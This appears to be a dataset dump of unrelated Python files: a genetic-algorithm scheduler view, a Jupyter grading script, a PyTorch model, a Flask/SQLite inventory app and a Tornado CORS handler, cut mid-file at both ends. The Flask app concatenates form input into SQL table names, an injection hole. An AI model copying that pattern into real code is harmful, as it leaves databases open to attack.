= swapRooms(winner,numCourses,rooms)\r\n\t\t\t\t\t#check if howToReproduce == 1\r\n\t\t\t\t\telif howToReproduce == 1:\r\n\t\t\t\t\t\t#child == the output of the swapTimes function\r\n\t\t\t\t\t\t#with winner,numCourses, and times as parameters\r\n\t\t\t\t\t\tchild = swapTimes(winner,numCourses,times)\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\t#child == the output of the changeCourseTime function\r\n\t\t\t\t\t\t#with winner,numCourses, and times as parameters\r\n\t\t\t\t\t\tchild = changeCourseTime(winner,numCourses,times)\r\n\r\n\t\t\t\t#check if the output of the fitness function with the child as the list of the new population\r\n\t\t\t\t\t\t# > the output of the fitness function with the winner as the list of the new population\r\n\t\t\t\tif fitness(child,1,numCourses,rooms,times)[0] > fitness(winner,1,numCourses,rooms,times)[0]:\r\n\t\t\t\t\t#newPop = newPop + child\r\n\t\t\t\t\tnewPop += child\r\n\t\t\t\telse:\r\n\t\t\t\t\t#newPop = newPop + winner\r\n\t\t\t\t\tnewPop += winner\r\n\t\t\telse:\r\n\t\t\t\t#create 2 variables pick1, pick2 which equal a random number\r\n\t\t\t\t#from the range of (0 -> number of chromosomes to be in the population)\r\n\t\t\t\tpick1 = random.randrange(0,popSize)\r\n\t\t\t\tpick2 = random.randrange(0,popSize)\r\n\r\n\t\t\t\twinner = 0\r\n\t\t\t\t#check if the list fit with index of pick1>the list fit with index of pick2\r\n\t\t\t\tif fit[pick1] > fit[pick2]:\r\n\t\t\t\t\twinner = pick1\r\n\t\t\t\telse:\r\n\t\t\t\t\twinner = pick2\r\n\r\n\t\t\t\t#winner=list of population[from winner*number of constraints -> (winner*number of constraints)+number of constraints]\r\n\t\t\t\twinner = population[(winner*numCourses*7):((winner*numCourses*7)+(numCourses*7))]\r\n\t\t\t\t#howToReproduce = a random value\r\n\t\t\t\thowToReproduce = random.random()\r\n\t\t\t\tchild = 0\r\n\t\t\t\t#check if the random value of howToReproduce<0.15\r\n\t\t\t\tif howToReproduce < 0.15:\r\n\t\t\t\t\t#child == the output of the mutation function\r\n\t\t\t\t\t#with winner,numCourses,times, and rooms as parameters\r\n\t\t\t\t\tchild = mutate(winner,numCourses,times,rooms)\r\n\t\t\t\telse:\r\n\t\t\t\t\t#assign howToReproduce to a random value from the range of (0 -> 3)\r\n\t\t\t\t\thowToReproduce = random.randrange(0,3)\r\n\t\t\t\t\t#check if howToReproduce == 0\r\n\t\t\t\t\tif howToReproduce == 0:\r\n\t\t\t\t\t\t#child == the output of the swapRooms function\r\n\t\t\t\t\t\t#with winner,numCourses, and rooms as parameters\r\n\t\t\t\t\t\tchild = swapRooms(winner,numCourses,rooms)\r\n\t\t\t\t\t#check if howToReproduce == 1\r\n\t\t\t\t\telif howToReproduce == 1:\r\n\t\t\t\t\t\t#child == the output of the swapTimes function\r\n\t\t\t\t\t\t#with winner,numCourses, and times as parameters\r\n\t\t\t\t\t\tchild = swapTimes(winner,numCourses,times)\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\t#child == the output of the changeCourseTime function\r\n\t\t\t\t\t\t#with winner,numCourses, and times as parameters\r\n\t\t\t\t\t\tchild = changeCourseTime(winner,numCourses,times)\r\n\t\t\t\t#check if the output of the fitness function with the child as the list of the new population\r\n\t\t\t\t\t# > the output of the fitness function with the winner as the list of the new population\r\n\t\t\t\tif fitness(child,1,numCourses,rooms,times)[0] > fitness(winner,1,numCourses,rooms,times)[0]:\r\n\t\t\t\t\t#newPop=newPop + child\r\n\t\t\t\t\tnewPop += child\r\n\t\t\t\telse:\r\n\t\t\t\t\t#newPop=newPop + winner\r\n\t\t\t\t\tnewPop += winner\r\n\t\t#population list equal the newPop list\r\n\t\tpopulation = newPop[:]\r\n\t\t#fit = the output of the fitness function \r\n\t\t#with population,popSize,numCourses,rooms and times as parameters\r\n\t\tfit = fitness(population,popSize,numCourses,rooms,times)\r\n\t\ti += 1\r\n\t#create a new variable maxIndex which equals index of the constraint with highest\r\n\t#fitness score in the fit list \r\n\tmaxIndex = fit.index(max(fit))\r\n\t#Return the scehduale with the constraints with highest fitness scores\r\n\treturn population[7*maxIndex:7*maxIndex+7*numCourses]\r\n\r\n#Function swapRooms-> Takes a single chromosome(Schedule), a number of courses in that schedule, and the available rooms for these courses\r\n\t#Function parameters are:\r\n\t#schedule-> A single chromosome\r\n\t#numCourses-> The number of constraints in the schedule\r\n\t#rooms-> The available rooms for these given courses\r\n#The function should return a new chromosome (schedule) by swapping the rooms in that schedule\r\n\r\ndef swapRooms(schedule,numCourses,rooms):\r\n #Defining a new chromosome called sched containing the given one\r\n sched = schedule[:]\r\n #Defining a variable room1 that contains rooms a random available room from the range of (0, the lenghtgh of the list of available rooms)\r\n room1 = rooms[random.randrange(0,len(rooms))]\r\n #Defining a variable room2 that contains rooms a random available room from the range of (0, the lenghtgh of the list of available rooms)\r\n room2 = rooms[random.randrange(0,len(rooms))]\r\n #looping through sched with step size of 7(number of constraints in the schedule)\r\n #swapping room1 elements with room2\r\n for i in range(0,len(sched),7):\r\n if sched[i+1] == room1:\r\n sched[i+1] = room2\r\n elif sched[i+1] == room2:\r\n sched[i+1] = room1\r\n#Return the new scheduale (sched)\r\n return sched\r\n\r\n#Function swapTimess-> Takes a single chromosome(Schedule), a number of courses in that schedule, and the available times for these courses\r\n\t#Function parameters are:\r\n\t#schedule-> A single chromosome\r\n\t#numCourses-> The number of constraints in the schedule\r\n\t#times-> The available times for these given courses\r\n#The function should return a new chromosome (schedule) by swapping the times in that schedule\r\n\r\ndef swapTimes(schedule,numCourses,times):\r\n\t#Defining a new chromosome called sched conraining the given one\r\n sched = schedule[:]\r\n #Defining a variable times1 that contains times a random available time from the range of (0, the lenghtgh of the list of available times)\r\n time1 = times[random.randrange(0,len(times))]\r\n #Defining a variable times2 that contains times a random available time from the range of (0, the lenghtgh of the list of available times)\r\n time2 = times[random.randrange(0,len(times))]\r\n #looping through sched with step size of 7(number of constraints in the schedule) and swapping time1 elements with time2\r\n for i in range(0,len(sched),7):\r\n if sched[i] == time1:\r\n sched[i] = time2\r\n elif sched[i] == time2:\r\n sched[i] = time1\r\n #return a new chromosome (schedule) by swapping the times in that schedule\r\n return sched\r\n\r\n# Function changeCourseTime-> Takes a single chromosome(Schedule), a number of courses in that schedule, and the available times for these courses\r\n\t#Function parameters are:\r\n\t#schedule-> A single chromosome\r\n\t#numCourses-> The number of constraints in the schedule\r\n\t#times-> The available times for these given courses#\r\n# Returns a new schedule by randomly changing the time of a single course\r\n\r\ndef changeCourseTime(schedule,numCourses,times):\r\n\t#Defining a new chromosome called sched conraining the given one\r\n sched = schedule[:]\r\n #Defining a variable time that contains times a random available time from the range of (0, the lenghtgh of the list of available times)\r\n time = times[random.randrange(0,len(times))]\r\n #Defining a variable course that contains a random number from the range of (0, the number of given constraints)\r\n course= random.randrange(0,numCourses)\r\n\t#Assigning the random time to a random constraint\r\n sched[course*7] = time\r\n #return the new scheduale\r\n return sched\r\n\r\n#Function mutate-> Takes a single chromosome(Schedule), a number of courses in that schedule, the available times for these courses, and the available rooms\r\n\t#Function parameters are:\r\n\t#schedule-> A single chromosome\r\n\t#numCourses-> The number of constraints in the schedule\r\n\t#times-> The available times for these given courses\r\n\t#rooms-> The available rooms for these given courses\r\n#Returns a new schedule by randomly changing both time and room for a single course\r\n\r\ndef mutate(schedule,numCourses,times,rooms):\r\n#Defining a new chromosome called sched conraining the given one\r\n sched = schedule[:]\r\n #Defining a variable time that contains times a random available time from the range of (0, the lenghtgh of the list of available times)\r\n time = times[random.randrange(0,len(times))]\r\n #Defining a variable time that contains times a random available time from the range of (0, the lenghtgh of the list of available times)\r\n room = rooms[random.randrange(0,len(rooms))]\r\n #Defining a variable course that contains a random number from the range of (0, the number of given constraints)\r\n course= random.randrange(0,numCourses)\r\n#Assigning the random time to a random constraint\r\n sched[course*7] = time\r\n #Assigning the random room to a random constraint after the time\r\n sched[course*7+1] = room\r\n#return the new scheduale\r\n return sched\r\n\r\n#Function fitness-> Takes a number of schedules, The number of courses in each schedule, the available rooms for these courses, and the available times\r\n\t#Function parameters are:\r\n\t#pop-> a list of new population\r\n\t#popSize-> A number of given schedules\r\n\t#numCourses-> The number of constraints in the schedule\r\n\t#rooms-> The available rooms for these given courses\r\n\t#times-> The available times for these given courses\r\n#Returns a list containing each fitness score\r\n\r\ndef fitness(pop,popSize,numCourses,rooms,times):\r\n\t#Create a new empty list (fit)\r\n\tfit = []\r\n\t#loop through the number of the given courses\r\n\tfor i in range(0,popSize):\r\n\t\t#Create a variable (afit) which equals a 0\r\n\t\tafit = 0\r\n\t\t#Create a variable curChrom and put all constraints in it\r\n\t\tcurChrom = i*numCourses*7\r\n\t\t#looping through the range of (0 -> number of constraints with step size of 7 )\r\n\t\tfor j in range(0,numCourses*7,7):\r\n\t\t\t#Creating a variable sameTimeSameRoom which has a score of 2\r\n\t\t\tsameTimeSameRoom = 2\r\n\t\t\t#Creating a variable sameTimeSameProf which has a score of 2\r\n\t\t\tsameTimeSameProf = 2\r\n\t\t\t#Creating a variable requestedRoom which has a score of 0\r\n\t\t\trequestedRoom = 0\r\n\t\t\t#Creating a variable requestedTime which has a score of 0\r\n\t\t\trequestedTime = 0\r\n\t\t\t#Creating a variable roomSizeNeed which has a score of 1\r\n\t\t\troomSizeNeed = 1\r\n\t\t\t#Create a variable temp time which contains the 1st constraint in the new population->Time\r\n\t\t\ttempTime = pop[curChrom+j]\r\n\t\t\t#Create a variable temp time which contains the 2nd constraint in the new population->Room\r\n\t\t\ttempRoom = pop[curChrom+j+1]\r\n\t\t\t#Create a variable temp time which contains the 4th constraint in the new population->Professor\r\n\t\t\ttempProf = pop[curChrom+j+3]\r\n\r\n\t\t\t#loop through the new population constraints\r\n\t\t\t#Check if the rquested time is 5th constraint in the new population\r\n\t\t\t#increase the score of the requestedTime from 0 -> 1\r\n\t\t\tfor k in range(0,len(pop[curChrom+j+4])):\r\n\t\t\t\tif(pop[curChrom+j+4][k] == tempTime):\r\n\t\t\t\t\trequestedTime = 1\r\n\t\t\t\t\tbreak\r\n\t\t\t\r\n\t\t\t#loop through the new population constraints\r\n\t\t\t#Check if the rquested room is 6th constraint in the new population\r\n\t\t\t#increase the score of the requestedRoom from 0 -> 1\r\n\t\t\tfor k in range(0,len(pop[curChrom+j+5])):\r\n\t\t\t\tif(pop[curChrom+j+5][k] == tempRoom):\r\n\t\t\t\t\trequestedRoom = 1\r\n\t\t\t\t\tbreak\r\n\r\n\t\t\t#looping from the last constraint on the 1st slot (8th element)-> the number of total constraints\r\n\t\t\t#with a step size of 7\r\n\t\t\tfor k in range(j+7,numCourses*7,7):\r\n\r\n\t\t\t#Check if tempTime is the 1st constraint and tempRoom is the 2nd constraint in the new population\r\n\t\t\t\tif (tempTime == pop[curChrom+k]) and (tempRoom == pop[curChrom+k+1]):\r\n\t\t\t\t\t#sameTimeSameRoom equals 0\r\n\t\t\t\t\tsameTimeSameRoom = 0\r\n\t\t\t#Check if tempTime is the 1st constraint and tempProf is the 4th constraint in the new population\r\n\t\t\t\tif (tempTime == pop[curChrom+k]) and (tempProf == pop[curChrom+k+3]):\r\n\t\t\t\t\t#sameTimeSameProf equals 0\r\n\t\t\t\t\tsameTimeSameProf = 0\r\n\t\t\t#afit= afit + sameTimeSameRoom + sameTimeSameProf + requestedRoom + requestedTime + roomSizeNeed\r\n\t\t\t#get the final score of each constraint\r\n\t\t\tafit += sameTimeSameRoom + sameTimeSameProf + requestedRoom + requestedTime + roomSizeNeed\r\n\t\t#add each fitness score to the list (fit)\r\n\t\tfit.append(afit)\r\n\t#Return the list fit\r\n\treturn fit\r\n\r\n# Testing the code\r\n\r\n#list of given courses\r\ncourses = ['CS304','CS217','CS201','CS205']\r\n#list of given professros\r\nprofs = ['El-Attar','Hadidy','Nashwa','Zeinab','A.Hassan','Mohab','Amira','Dina']\r\n#list of given available slots\r\ntimes = ['1st Slot','2nd Slot','5th slot','6th slot','3rd slot','4th Slot','7th Slot','8th Slot']\r\n#list of given rooms\r\nrooms = ['G18','129','209','F17','S18']\r\n\r\ninitial = []\r\n#i in range (0, lenghths of all given lists combined)\r\nfor i in range(0,25):\r\n\t#ranrange(0, lenghth of each list)\r\n\tinitial.append(courses[random.randrange(0,4)])\r\n\tinitial.append(profs[random.randrange(0,8)])\r\n\ttemp = []\r\n\t#putting times in temp then adding temp to the initial\r\n\ttemp.append(times[random.randrange(0,8)])\r\n\ttemp.append(times[random.randrange(0,8)])\r\n\tinitial.append(temp)\r\n\t#putting rooms in temp2 then adding temp2 to the initial\r\n\ttemp2 = []\r\n\ttemp2.append(rooms[random.randrange(0,5)])\r\n\ttemp2.append(rooms[random.randrange(0,5)])\r\n\tinitial.append(temp2)\r\n\tinitial.append(20)\r\n\r\n\r\n\r\n\r\ndef homepage(request):\r\n\tcourses = genAlg(25,initial,100,times,rooms,1000,True)\r\n\treturn render(request = request, template_name = \"main/home.html\", context = {\"courses\":courses})","sub_path":"CS304/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":17216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"82825132","text":"import json\nimport re\nfrom os import listdir\nfrom os.path import isfile, join\n\nimport pandas as pd\n\n\n# Script to extract grade to cvs from a path.\n# Components must be put in this way.\n#\n# Inside *markdown*\n# To refer to a question : #?\n# To refer to a comment : #>\n# To refer to a grade : #-\n#\n# THe scrip will read all the jupyter nothebook in a path and will to generate a new path *equal to the\n# same/result/* with the new jupyter notebook with out the grade for the students.\n\ndef div_color(note, color_div, color_note):\n return \"
Question :\" + note + \"
\"\n\n\nclass GradeComments:\n def __init__(self, input_file_name, pos_name_user):\n self.input_filename = input_file_name\n self.pos_name_user = pos_name_user\n\n @staticmethod\n def update_jupyter_notebook(self, jupyter_notebook_new, name_file):\n with open(self.input_filename + 'results/' + name_file, 'w') as outfile:\n json.dump(jupyter_notebook_new, outfile)\n\n @staticmethod\n def add_cell_author(jupiter_notebook, author, role, address, email):\n jupiter_notebook['cells'].append(\n\n {'cell_type': 'markdown', 'metadata': {},\n 'source': ['\\n',\n '\\n', '
\\n',\n 'Checked by' + author + \", \" + role + \", \" + address + \", \" + email + '\\n', '
']}\n )\n return\n\n @staticmethod\n def div_color(note, type_comment=None, color='primary', color_note='black'):\n # Type : Question, Comments or Grade\n # color : [primary, secondary, success, danger, warning, info, light and dark]\n # https://getbootstrap.com/docs/4.0/components/alerts/\n # color_note : [red, blue, ..., ]\n\n return \"
\" + type_comment + \" :\" \\\n \"\" + note + \"
\"\n\n def get_grade_and_comments(self, remove=True):\n global context\n dfgrade = pd.DataFrame(columns=['Name', 'Question', 'Grade', 'Comments'])\n\n for name_file in [f for f in listdir(self.input_filename) if isfile(join(self.input_filename, f))]:\n if '.ipynb' in name_file:\n name_student = name_file.split('_')[-self.pos_name_user]\n print('User : ', name_student)\n temp_jupyter_notebook = json.load(open(self.input_filename + name_file, 'r'))\n context = {}\n\n for i in temp_jupyter_notebook.get('cells'):\n if i['cell_type'] == 'markdown':\n # print(i['source'])\n for idx, item in enumerate(i['source']):\n # print(item)\n context['Name'] = name_student\n\n if item.startswith('#? '):\n print('Question : ', re.findall(r\"(?:#? )(.*)\", item))\n i['source'][idx] = self.div_color(item.split('#? ')[-1], \"Question\", \"success\", \"black\")\n context['Question'] = item.split('#? ')[-1]\n\n if item.startswith('#> '):\n print('Comments : ', re.findall(r\"(?:#> )(.*)\", item))\n i['source'][idx] = self.div_color(item.split('#> ')[-1], \"Comments\", \"info\", \"black\")\n context['Comments'] = item.split('#> ')[-1]\n\n if item.startswith('#- '):\n grade = int(item.split('#- ')[-1]) / 5\n if grade < 0.6:\n if remove:\n print('Grade : ', re.findall(r\"(?:#- )(.*)\", item))\n context['Grade'] = grade\n i['source'].remove(item)\n else:\n i['source'][idx] = self.div_color(item.split('#- ')[-1], \"Grade\", \"danger\",\n \"black\")\n context['Grade'] = grade\n elif 0.61 <= grade < 0.9:\n if remove:\n print('Grade : ', re.findall(r\"(?:#- )(.*)\", item))\n context['Grade'] = grade\n i['source'].remove(item)\n else:\n i['source'][idx] = self.div_color(item.split('#- ')[-1], \"Grade\", \"warning\",\n \"black\")\n context['Grade'] = grade\n\n elif 0.91 < grade <= 1:\n if remove:\n print('Grade : ', re.findall(r\"(?:#- )(.*)\", item))\n context['Grade'] = grade\n i['source'].remove(item)\n else:\n i['source'][idx] = self.div_color(item.split('#- ')[-1], \"Grade\", \"success\",\n \"black\")\n context['Grade'] = grade\n\n # if i['cell_type'] == 'markdown':\n dfgrade = dfgrade.append(context, ignore_index=True)\n\n self.add_cell_author(temp_jupyter_notebook, \"Javier Machin\",\n \"Student Assistant\", \"Harvard\", \"havy211@gmail.com\")\n self.update_jupyter_notebook(self, temp_jupyter_notebook, name_file)\n\n return dfgrade\n\n\nif __name__ == \"__main__\":\n input_filename = '/Users/havy/PycharmProjects/2019-CS109B-private/content/scripts_playground/test_extract_grades_to_csv/'\n pos_name_user = 3\n ext = GradeComments(input_filename, pos_name_user)\n df_grade = ext.get_grade_and_comments(remove=False)\n df_grade.to_csv(input_filename + 'Homework_.csv')\n\n print('Pavlos the extraction of notes are already Done')\n","sub_path":"content/scripts_playground/extract_grade_to_csv.py","file_name":"extract_grade_to_csv.py","file_ext":"py","file_size_in_byte":6802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"382648341","text":"import torch\r\nimport torch.nn as nn\r\nimport torchvision.models as model\r\nfrom torch.nn import functional as F\r\nfrom torch.nn.utils.rnn import pack_padded_sequence, pad_packed_sequence\r\n\r\nimport message_passing as mp\r\n\r\nclass Model(nn.Module):\r\n def __init__(self, opt):\r\n super(Model, self).__init__()\r\n em_dim = opt.em_dim\r\n att_dim = opt.att_dim\r\n vocab_size = opt.vocab_size\r\n self.DEVICE = opt.DEVICE\r\n self.lr = opt.lr\r\n\r\n self.em_layer = nn.Embedding(vocab_size, em_dim)\r\n self.mp_layer = mp.AttIJ(opt)\r\n self.scorer = mp.Scorers(opt)\r\n\r\n\r\n self.params = self.parameters()\r\n self.optimizer = torch.optim.Adam(self.params, lr=self.lr, weight_decay=opt.weight_decay)\r\n\r\n def get_output(self, inds):\r\n em = self.em_layer(inds)\r\n em_update = self.mp_layer(em)\r\n scores = self.scorer(em_update)\r\n return scores\r\n\r\n def get_loss(self, pos, neg):\r\n\r\n pos_sc = self.get_output(pos)\r\n neg_sc = self.get_output(neg)\r\n\r\n loss = F.softplus(neg_sc-pos_sc)\r\n loss = loss.mean()\r\n # print('loss shape: {}'.format(loss.size()))\r\n self.loss = loss\r\n return loss\r\n\r\n\r\n def train_step(self, pos, neg):\r\n pos = pos.to(self.DEVICE)\r\n neg = neg.to(self.DEVICE)\r\n loss = self.get_loss(pos, neg)\r\n self.optimizer.zero_grad()\r\n loss.backward()\r\n self.optimizer.step()\r\n","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"489180588","text":"from flask import Flask, render_template, url_for, flash, redirect, request\nimport sqlite3\n\n\n\nconn=sqlite3.connect('teste.db',check_same_thread=False)\nconn.execute(\"PRAGMA foreign_keys = 1\")\nc=conn.cursor()\n\nc.execute(\"\"\"CREATE TABLE IF NOT EXISTS Estoques(\n codEstoque INTEGER PRIMARY KEY,\n nome TEXT\n)\"\"\")\n\nconn.commit()\n\n\nclass Estoque:\n# 1 ATRIBUTO ; 1 METODOS \n\n def __init__(self, estoque):\n\n #estoque = nome do estoque; \n self.estoque=estoque\n\n def criar_tabela(self):\n\n #Insere o estoque no banco de dados e cria uma tabela correspondente\n #Não é possível inserir o estoque se o nome já estiver ocupado\n c.execute(\"SELECT * FROM Estoques WHERE nome=?\",(self.estoque,))\n check = c.fetchone()\n if not check:\n with conn:\n c.execute(\"INSERT INTO Estoques (nome) VALUES (?)\", (self.estoque,))\n with conn:\n c.execute(\"\"\"CREATE TABLE IF NOT EXISTS \"\"\"+self.estoque+\"\"\"(\n numero INTEGER,\n nome TEXT,\n quantidade INTEGER,\n preço REAL,\n estoque INTEGER NOT NULL,\n FOREIGN KEY (estoque) REFERENCES Estoques(codEstoque) ON DELETE CASCADE\n )\"\"\") \n\n @staticmethod\n def remover_estoque(nome_estoque):\n\n #Recebe o nome do estoque\n #Remove o estoque do Banco e os produtos contidos nesse estoque\n with conn:\n c.execute(\"DELETE FROM Estoques WHERE nome=?\",(nome_estoque,))\n\n def mostrar_estoque(self):\n\n #Para testes: printa o estoque\n with conn:\n c.execute(\"SELECT * FROM \"+self.estoque)\n return c.fetchall()\n \n @staticmethod\n def mostrar_estoques():\n\n #Para testes: printa os estoques no banco\n c.execute(\"SELECT * FROM Estoques\")\n return c.fetchall()\n\nclass Produto:\n# 5 ATRIBUTOS; 3 METODOS\n\n def __init__(self, numero, nome, quantidade, preço, estoque_nome):\n\n #O ultimo atributo recebe o nome do estoque ao qual o produto pertence\n self.numero=numero\n self.nome=nome\n self.quantidade=quantidade\n self.preço=preço\n self.estoque_nome=estoque_nome\n \n def produto_novo(self):\n\n #Insere o produto na tabela correspondente ao seu estoque\n #Caso o Numero OU o Nome já estejam ocupados, o metodo não insere o produto\n c.execute(\"SELECT * FROM \"+self.estoque_nome+\" WHERE nome=? OR numero=? \",(self.nome,self.numero))\n check = c.fetchone()\n if not check:\n c.execute(\"SELECT * FROM Estoques WHERE nome = ?\",(self.estoque_nome,))\n lista=c.fetchone()\n c.execute(\"INSERT INTO \"+self.estoque_nome+\" VALUES (?, ?, ?, ?, ?)\",(self.numero, self.nome,\n self.quantidade, self.preço, lista[0]))\n conn.commit()\n\n def alterar_produto(self, nro_prod):\n\n #Atualiza todas as informações do produto com o Numero equivalente a \"nro_prod\"\n #Metodo criado a fim do objeto utilizado possuir 1 ou mais atributos a serem atualizados\n #Caso o Numero OU o Nome já estejam ocupados, o metodo não atualiza o produto\n c.execute(\"SELECT * FROM \"+self.estoque_nome+\" WHERE nome=? OR numero=? \",(self.nome,self.numero))\n check = c.fetchone()\n if not check:\n c.execute(\"UPDATE \"+self.estoque_nome+\" SET numero=?, nome=?, quantidade=?, preço=? WHERE numero=?\",\n (self.numero, self.nome, self.quantidade, self.preço, nro_prod))\n conn.commit()\n \n def remover_produto(self):\n\n #Remove o produto de sua tabela/estoque correspondente\n with conn:\n c.execute(\"DELETE FROM \"+self.estoque_nome+\" WHERE numero=?\",(self.numero,))\n\n\napp = Flask(__name__)\n\n@app.route(\"/\", methods=['GET','POST'])\ndef teste():\n\n if request.method == \"POST\":\n if \"add\" in request.form:\n stock=Estoque(request.form.get('novo_estoque'))\n Estoque.criar_tabela(stock)\n repeat = Estoque.mostrar_estoques()\n print (\"REPEAT = \"+str(repeat))\n tam=len(repeat)\n print (\"tam = \"+str(tam))\n for i in range(tam):\n repeat[i]\n print (\"repeat[i] = \"+str(repeat[i]))\n if request.method == \"POST\":\n print (\"É O METODO POST\")\n print (\"REQUEST.FORM =\"+str(request.form))\n if str(repeat[i]) in request.form:\n print (str(repeat[i])+\"ESTA DENTRO DE REQUEST.FORM\")\n estoque = repeat[i]\n print (\"ESTOQUE = \"+str(estoque))\n nom_estoque = estoque[1]\n print (\"nom_estoque = \"+nom_estoque)\n Estoque.remover_estoque(str(nom_estoque))\n \n \n repeat = Estoque.mostrar_estoques()\n return render_template('repasse3.html',len=len(repeat),repeat=repeat)\n\n@app.route(\"/estoque\", methods=['GET','POST'])\ndef home():\n return \"home\"\n\n \n # if request.method == \"POST\":\n #product=Produto(request.form.get('num'),request.form.get('nome'),request.form.get('quantidade'),\n #request.form.get('preço'),request.form.get('num'),stock.estoque)\n #nome=request.form.get('nome')\n #num=(request.form.get('num')\n # product.produto_novo(nome,num)\n\n\n# estoque = Estoque('estoque_teste')\n# prod1=Produto(1,'produtao', 3, 4.50,estoque.estoque)\n# prod1.produto_novo()\n# prod2=Produto(2,'produtasso', 5, 7.50,estoque.estoque)\n# prod2.produto_novo()\n# x = str(estoque.mostrar_estoque()).translate({ord(c):'' for c in \"[]()'\"})\n #return x \n # return render_template('Budstock-estoque.html')\n \n\n\n\n #self.estoque = request.form['novo estoque']\n #verifica se o estoque já existe, se existir aparece uma mensagem dizendo que o mesmo já existe\n #if request.form['novo_estoque'] in Estoques:\n\n # flash ('O estoque {} já existe.'.format( request.form['novo estoque'])\n # else:\n # #irá criar um novo etoque que o usuário pediu\n # self.estoque,criar_estoque()\n #\n # remove o estoque\n #excluir = request.form['excluir estoque']\n #if request.form.get['excluir estoque'] in Estoques:\n # remover_estoque(excluir)\n\n #reenvia o usuário para a página com o novo estoque feito, ou com estoques deletados\n #return redirect(url_for('home'))\n\n\n\n#@app.route(\"/estoque\")\n#def alterar():\n # self.numero= request.form['número']\n # self.nome=request.form['nome']\n # self.quantidade=request.form['quantidade']\n # self.preço= request.form['preço']\n # self.estoque_nome= request.form['nome do estoque']\n #return render_template('estoque.html',title='Produtos')\n\nif __name__ == '__main__':\n app.run(debug=True, use_reloader=True)","sub_path":"repasse3.py","file_name":"repasse3.py","file_ext":"py","file_size_in_byte":6703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"324238081","text":"# -*- coding: utf-8 -*-\n'''\nCreated on 2016. 5. 25.\n\n@author: Sunhong Kim\n'''\n\nimport tornado.web\nimport functools, json\n\nfrom tornado_cors import CorsMixin # cors\nfrom handlers.h_util.error import HDError\n# from models.session import HDSession\n# from models.user import HDUser\n\ndef authenticated_api(method):\n ''' Decorate methods with this to require that the user be logged in.\n Not like tornado.web.authenticated, this method decorated API methods.\n This will not redirect user to login url when not authenticated.\n\n NOTE: If you use authenticated_api decorator with asynchronous and gen.coroutine,\n should follow writing sequence like below.\n\n @tornado.web.asynchronous\n @authenticated_api\n @tornado.gen.coroutine\n\n If you did not follow like this, server will not response and block ioLoop. '''\n\n @functools.wraps(method)\n @tornado.gen.coroutine\n def wrapper(self, *args, **kargs):\n yield self.get_current_user()\n if self.current_user is None:\n raise tornado.web.HTTPError(403)\n yield method(self, *args, **kargs)\n return wrapper\n\nclass CommonHandler(CorsMixin, tornado.web.RequestHandler):\n ''' Base requestHandler on our service '''\n\n ERR_MISSING_PARAM\t\t\t= -300\n ERR_INVALID_PARAM\t\t\t= -301\n\n # Value for the Access-Control-Allow-Origin header.\n # Default: None (no header).\n CORS_ORIGIN = '*'\n\n # Value for the Access-Control-Allow-Headers header.\n # Default: None (no header).\n CORS_HEADERS = 'Content-Type'\n\n # Value for the Access-Control-Allow-Methods header.\n # Default: Methods defined in handler class.\n # None means no header.\n CORS_METHODS = '*'\n\n # Value for the Access-Control-Allow-Credentials header.\n # Default: None (no header).\n # None means no header.\n CORS_CREDENTIALS = True\n\n # Value for the Access-Control-Max-Age header.\n # Default: 86400.\n # None means no header.\n CORS_MAX_AGE = 21600\n\n # Value for the Access-Control-Expose-Headers header.\n # Default: None\n CORS_EXPOSE_HEADERS = 'Location, X-WP-TotalPages'\n\n def __init__(self, application, request):\n super(CommonHandler, self).__init__(application, request)\n self.current_user = None\n self.current_session = None\n\n\n ''' Helper functions '''\n def finish_and_return(self, rc=0, result=None):\n ''' Write a structured response to the client.\n\n @param rc:\t\tReturn code. 0 means success.\n @param result:\tAny object that can be converted to JSON.\n This object will be returned to the client as a result. '''\n # print \"result == \" ,result;\n\n res = {'rc':rc}\n if result is not None:\n res['result'] = result\n\n self.write(json.dumps(res))\n self.finish()\n\n def get_params(self, plist):\n ''' Try to get a list of params in plist. Each list consists of tuple like the following.\n\n (param_name, required, default_value)\n\n If any of the required parameter is missing, this will raise Exception.\n If successful, this will return a dict containing each value for requested parameters. '''\n\n res = {}\n for tple in plist:\n if len(tple) == 3:\n print (\"3\")\n\n (pn, req, dv) = tple\n fn = None\n else:\n (pn, req, dv, fn) = tple\n\n if pn in self.request.arguments:\n res[pn] = int(self.request.arguments[pn][0]);\n elif req:\n\n raise HDError(domain=\"Handler\", errno = CommonHandler.ERR_MISSING_PARAM,\n msg = \"%s parameter is required.\" % pn)\n else:\n res[pn] = dv\n if fn is not None and res[pn] is not None:\n try:\n res[pn] = fn(res[pn])\n except:\n raise HDError(domain=\"Handler\", errno=CommonHandler.ERR_INVALID_PARAM,\n msg=\"%s parameter is invalid.\" % pn)\n return res\n\n ''' Handle exceptions '''\n def _handle_request_exception(self, exception):\n ''' Handle exceptions and return according to the exception. (or raise exception) '''\n if isinstance(exception, HDError) and exception.is_for_client():\n return self.finish_and_return(rc=exception.errno, result=exception.msg)\n\n super(CommonHandler, self)._handle_request_exception(exception)\n","sub_path":"handlers/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"137687196","text":"import os.path\nimport string\npath=input(\"Enter the path of dir\")\nListy=os.listdir(path)\nprint(Listy)\nos.chdir(path)\n\n\ndef plagiarism(f1,f2):\n def convert(s):\n s=s.lower()\n s=s.replace(\"\\n\",\" \").replace(\"\\xa0\",\" \")\n s=s.split(\" \")\n s=[i.strip(string.punctuation) for i in s]\n return s\n s1=convert(f1.read())\n s2=convert(f2.read())\n \n def dictionary(s,d):\n for i in s:\n if i=='':\n pass\n elif i not in d:\n d[i]=1\n else:\n d[i]+=1\n return d\n d1=dictionary(s1,{})\n d2=dictionary(s2,{})\n \n def dotproduct_numerator(d1,d2):\n L=[]\n for i in d1:\n for j in d2:\n if i==j:\n L.append(d1[i]*d2[j])\n return L\n\n numerator=sum(dotproduct_numerator(d1,d2))\n\n def dotproduct_denominator(d):\n 